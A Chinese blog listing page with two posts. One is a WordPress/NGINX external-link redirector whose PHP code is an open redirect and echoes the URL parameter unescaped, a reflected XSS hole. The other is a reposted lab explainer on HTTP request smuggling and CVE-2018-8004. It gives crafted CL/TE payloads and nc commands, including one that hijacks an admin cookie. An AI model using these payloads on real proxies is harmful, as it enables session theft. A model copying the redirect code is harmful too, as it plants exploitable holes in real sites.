首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,637 阅读
2
Cloudflare SAAS 接入自选教程
2,214 阅读
3
兽装曲腿制作文档
1,994 阅读
4
Frpc使用XTCP不通过服务器传输
1,859 阅读
5
CloudFront CDN配置教程
1,215 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
361
篇与
的结果
2020-12-23
将Wordpress文章的外链转为内链(NGINX版)
我们在wordpress网站很多的文章需要跳转外链的资料、或者跳转外链的下载,所以在维护的时候,文章内编写的外链是不可避免的。一般来说,我们在除了友情链接之外的外部连接之外,大部分的外链都会多多少少的分散网站的权重你或许看见过类似https://www..com/goto.php?https://www.***.com形式的跳转链接,这样是为了站点的SEO能够对各种搜索引擎更友好,术语好像就是叫做外链跳转。更重要的是起到了保护自己域名权重的目的。一、给出NGINX跳转版的配置方法首先打开你站点的NGINX配置文件(仅限使用NGINXweb服务的道友)在location的配置块里面,添加一个新的location块代码如下location ~ ^/goto/* { if ($request_method != GET) { return 403; } rewrite ^ $arg_url? redirect; }这段配置文件就能实现将参数url后的地址读取后302跳转,并且抛弃除GET外的请求二、如果您用得是apache等类型的服务器可以在根目录下新建goto文件夹,在里面新建一个index.php文件(当然其他的的地址也是可以,需要在第三框的步骤中修改成你的地址)添加如下内容:<?php header("location:".$_GET["url"]); ?>美观一点也是可以的: <?php $url = $_GET['url']; ?> <html> <head> <meta charset=utf-8 /> <meta name="robots" content="nofollow"> <meta http-equiv="refresh" content="0.1;url=<?php echo $url; ?>"> <title>正在为您跳转……</title> <style> body{background:#000}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:41.5%;left:47%;margin:16px 0 0 35px;color:#BBB;letter-spacing:1px;font-weight:700;font-size:9px;font-family:Arial}.spinner{position:absolute;top:40%;left:45%;display:block;margin:0;width:1px;height:1px;border:25px solid rgba(100,100,100,0.2);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}} </style> </head> <body> <div class="loading"> <div class="spinner-wrapper"> <span class="spinner-text">加载中...</span> <span class="spinner"></span> </div </div> </body> </html>三、主题文件配置随后打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);这段代码将捕获页面链接标签内的url地址,然后进行替换操作至此,配置完成,不出意外的话,文章内的站外链接会变成这样:
2020年12月23日
74 阅读
0 评论
0 点赞
2020-11-28
协议层的攻击:HTTP请求走私
作者:mengchen@知道创宇404实验室日期:2019年10月10日English version:https://paper.seebug.org/1049/1. 前言最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣,在其中,作者讲述了HTTP走私攻击这一攻击手段,并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式,决定对这一攻击方式进行一个完整的学习梳理,于是就有了这一篇文章。当然了,作为这一攻击方式的初学者,难免会有一些错误,还请诸位斧正。2. 发展时间线最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-151533. 产生原因HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。在进行后续的学习研究前,我们先来认识一下如今使用最为广泛的HTTP 1.1的协议特性——Keep-Alive&Pipeline。在HTTP1.0之前的协议设计中,客户端每进行一次HTTP请求,就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的,我们要获取一个网页的内容,不仅要请求HTML文档,还有JS、CSS、图片等各种各样的资源,这样如果按照之前的协议设计,就会导致HTTP服务器的负载开销增大。于是在HTTP1.1中,增加了Keep-Alive和Pipeline这两个特性。所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。3.1 CL不为0的GET请求其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。在RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。https://tools.ietf.org/html/rfc7231#section-4.3.1sending a payload body on a GET request might cause some existing implementations to reject the request假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。比如我们构造请求GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET / secret HTTP/1.1\r\n Host: example.com\r\n \r\n 前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是第一个 GET / HTTP/1.1\r\n Host: example.com\r\n 第二个 GET / secret HTTP/1.1\r\n Host: example.com\r\n 这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例,推荐结合起来看下。3.2 CL-CL在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。https://tools.ietf.org/html/rfc7230#section-3.3.3但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。此时恶意攻击者可以构造一个特殊的请求POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a 中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。GET /index.html HTTP/1.1\r\n Host: example.com\r\n 从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是aGET /index.html HTTP/1.1\r\n Host: example.com\r\n 这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。但是两个Content-Length这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题。https://tools.ietf.org/html/rfc2616#section-4.43.3 CL-TE所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。chunk传输数据格式如下,其中size的值由16进制表示。[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n] Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te构造数据包POST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 连续发送几次请求就可以获得该响应。由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是0\r\n \r\n G 当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。GPOST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n ...... 服务器在解析时当然会产生报错了。3.4 TE-CL所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl构造数据包POST / HTTP/1.1\r\n Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 成功报错。3.5 TE-TETE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header构造数据包POST / HTTP/1.1\r\n Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n GPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n 4. HTTP走私攻击实例——CVE-2018-80044.1 漏洞概述Apache Traffic Server(ATS)是美国阿帕奇(Apache)软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。在美国国家信息安全漏洞库中,我们可以找到关于该漏洞的四个补丁,接下来我们详细看一下。CVE-2018-8004 补丁列表https://github.com/apache/trafficserver/pull/3192https://github.com/apache/trafficserver/pull/3201https://github.com/apache/trafficserver/pull/3231https://github.com/apache/trafficserver/pull/3251注:虽然漏洞通告中描述该漏洞影响范围到7.1.3版本,但从github上补丁归档的版本中看,在7.1.3版本中已经修复了大部分的漏洞。4.2 测试环境4.2.1 简介在这里,我们以ATS 7.1.2为例,搭建一个简单的测试环境。环境组件介绍反向代理服务器 IP: 10.211.55.22:80 Ubuntu 16.04 Apache Traffic Server 7.1.2 后端服务器1-LAMP IP: 10.211.55.2:10085 Apache HTTP Server 2.4.7 PHP 5.5.9 后端服务器2-LNMP IP: 10.211.55.2:10086 Nginx 1.4.6 PHP 5.5.9 环境拓扑图Apache Traffic Server 一般用作HTTP代理和缓存服务器,在这个测试环境中,我将其运行在了本地的Ubuntu虚拟机中,把它配置为后端服务器LAMP&LNMP的反向代理,然后修改本机HOST文件,将域名ats.mengsec.com和lnmp.mengsec,com解析到这个IP,然后在ATS上配置映射,最终实现的效果就是,我们在本机访问域名ats.mengsec.com通过中间的代理服务器,获得LAMP的响应,在本机访问域名lnmp.mengsec,com,获得LNMP的响应。为了方便查看请求的数据包,我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。LNMP:<?php echo 'This is Nginx<br>'; if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); LAMP:<?php echo 'This is LAMP:80<br>'; var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); 4.2.2 搭建过程在GIthub上下载源码编译安装ATS。https://github.com/apache/trafficserver/archive/7.1.2.tar.gz 安装依赖&常用工具。apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget 然后解压源码,进行编译&安装。autoreconf -if ./configure --prefix=/opt/ts-712 make make install 安装完毕后,配置反向代理和映射。编辑records.config配置文件,在这里暂时把ATS的缓存功能关闭。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存 CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理 CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址 CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口 编辑remap.config配置文件,在末尾添加要映射的规则表。vim /opt/ts-712/etc/trafficserver/remap.config map http://lnmp.mengsec.com/ http://10.211.55.2:10086/ map http://ats.mengsec.com/ http://10.211.55.2:10085/ 配置完毕后重启一下服务器使配置生效,我们可以正常访问来测试一下。为了准确获得服务器的响应,我们使用管道符和nc来与服务器建立链接。printf 'GET / HTTP/1.1\r\n'\ 'Host:ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 可以看到我们成功的访问到了后端的LAMP服务器。同样的可以测试,代理服务器与后端LNMP服务器的连通性。printf 'GET / HTTP/1.1\r\n'\ 'Host:lnmp.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 4.3 漏洞测试来看下四个补丁以及它的描述https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭链接 https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头 https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体4.3.1 第一个补丁https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400看介绍是给ATS增加了RFC7230第3.2.4章的实现,https://tools.ietf.org/html/rfc7230#section-3.2.4在其中,规定了HTTP的请求包中,请求头字段与后续的冒号之间不能有空白字符,如果存在空白字符的话,服务器必须返回400,从补丁中来看的话,在ATS 7.1.2中,并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时,并不会对其进行修改,也不会按照RFC标准所描述的那样返回400错误,而是直接将其转发给后端服务器。而当后端服务器也没有对该标准进行严格的实现时,就有可能导致HTTP走私攻击。比如Nginx服务器,在收到请求头字段与冒号之间存在空格的请求时,会忽略该请求头,而不是返回400错误。在这时,我们可以构造一个特殊的HTTP请求,进行走私。GET / HTTP/1.1 Host: lnmp.mengsec.com Content-Length : 56 GET / HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: 很明显,请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。来看下Wireshark中的数据包,ATS在与后端Nginx服务器进行数据传输的过程中,重用了TCP连接。只看一下请求,如图所示:阴影部分为第一个请求,剩下的部分为第二个请求。在我们发送的请求中,存在特殊构造的请求头Content-Length : 56,56就是后续数据的长度。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在数据的末尾,不存在\r\n这个结尾。当我们的请求到达ATS服务器时,因为ATS服务器可以解析Content-Length : 56这个中间存在空格的请求头,它认为这个请求头是有效的。这样一来,后续的数据也被当做这个请求的一部分。总的来看,对于ATS服务器,这个请求就是完整的一个请求。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 56\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: ATS收到这个请求之后,根据Host字段的值,将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。而Nginx服务器在遇到类似于这种Content-Length : 56的请求头时,会认为其是无效的,然后将其忽略掉。但并不会返回400错误,对于Nginx来说,收到的请求为GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 因为最后的末尾没有\r\n,这就相当于收到了一个完整的GET请求和一个不完整的GET请求。完整的:GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 不完整的:GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在这时,Nginx就会将第一个请求包对应的响应发送给ATS服务器,然后等待后续的第二个请求传输完毕再进行响应。当ATS转发的下一个请求到达时,对于Nginx来说,就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: GET / HTTP/1.1\r\n Host: 10.211.55.2:10086\r\n X-Forwarded-For: 10.211.55.2\r\n Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n 然后Nginx将这个请求包的响应发送给ATS服务器,我们收到的响应中就存在了attack: 1和foo: GET / HTTP/1.1这两个键值对了。那这会造成什么危害呢?可以想一下,如果ATS转发的第二个请求不是我们发送的呢?让我们试一下。假设在Nginx服务器下存在一个admin.php,代码内容如下:<?php if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){ echo "You are Admin\n"; if(isset($_GET['del'])){ echo 'del user ' . $_GET['del']; } }else{ echo "You are not Admin"; } 由于HTTP协议本身是无状态的,很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞,我们可以盗用管理员的身份信息。在这个例子中,管理员的请求中会携带这个一个Cookie的键值对admin=1,当拥有管理员身份时,就能通过GET方式传入要删除的用户名称,然后删除对应的用户。在前面我们也知道了,通过构造特殊的请求包,可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来,我们就能盗用管理员的Cookie了。构造数据包GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 78\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 然后是管理员的正常请求GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 让我们看一下效果如何。在Wireshark的数据包中看的很直观,阴影部分为管理员发送的正常请求。在Nginx服务器上拼接到了上一个请求中, 成功删除了用户mengchen。4.3.2 第二个补丁https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭连接这个补丁说明了,在ATS 7.1.2中,如果请求导致了400错误,建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析文章中,说明了如何利用这个漏洞进行攻击。printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'foo: bar\r\n'\ 'GET /2333 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一共能够获得2个响应,都是400错误。ATS在解析HTTP请求时,如果遇到NULL,会导致一个截断操作,我们发送的这一个请求,对于ATS服务器来说,算是两个请求。第一个GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: 第二个bb\r\n foo: bar\r\n GET /2333 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 第一个请求在解析的时候遇到了NULL,ATS服务器响应了第一个400错误,后面的bb\r\n成了后面请求的开头,不符合HTTP请求的规范,这就响应了第二个400错误。再进行修改下进行测试printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET /1.html HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一个400响应,一个200响应,在Wireshark中也能看到,ATS把第二个请求转发给了后端Apache服务器。那么由此就已经算是一个HTTP请求拆分攻击了,GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET /1.html HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 但是这个请求包,怎么看都是两个请求,中间的GET /1.html HTTP/1.1\r\n不符合HTTP数据包中请求头Name:Value的格式。在这里我们可以使用absoluteURI,在RFC2616中第5.1.2节中规定了它的详细格式。https://tools.ietf.org/html/rfc2616#section-5.1.2我们可以使用类似GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1的请求头进行请求。构造数据包GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n printf 'GET /400 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\ '\r\n'\ 'GET /404 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 本质上来说,这是两个HTTP请求,第一个为GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n 其中GET http://ats.mengsec.com/1.html HTTP/1.1为名为GET http,值为//ats.mengsec.com/1.html HTTP/1.1的请求头。第二个为GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 当该请求发送给ATS服务器之后,我们可以获取到三个HTTP响应,第一个为400,第二个为200,第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。根据HTTP Pipepline的先入先出规则,假设攻击者向ATS服务器发送了第一个恶意请求,然后受害者向ATS服务器发送了一个正常的请求,受害者获取到的响应,就会是攻击者发送的恶意请求中的GET http://evil.mengsec.com/evil.html HTTP/1.1中的内容。这种攻击方式理论上是可以成功的,但是利用条件还是太苛刻了。对于该漏洞的修复方式,ATS服务器选择了,当遇到400错误时,关闭TCP链接,这样无论后续有什么请求,都不会对其他用户造成影响了。4.3.3 第三个补丁https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头在该补丁中,bryancall 的描述是当Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头。 从这里我们可以知道,ATS 7.1.2版本中,并没有对RFC2616的标准进行完全实现,我们或许可以进行CL-TE走私攻击。构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 多次发送后就能获得405 Not Allowed响应。我们可以认为,后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。GGET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n ...... 对于Nginx来说,GGET这种请求方法是不存在的,当然会返回405报错了。接下来尝试攻击下admin.php,构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 83\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n 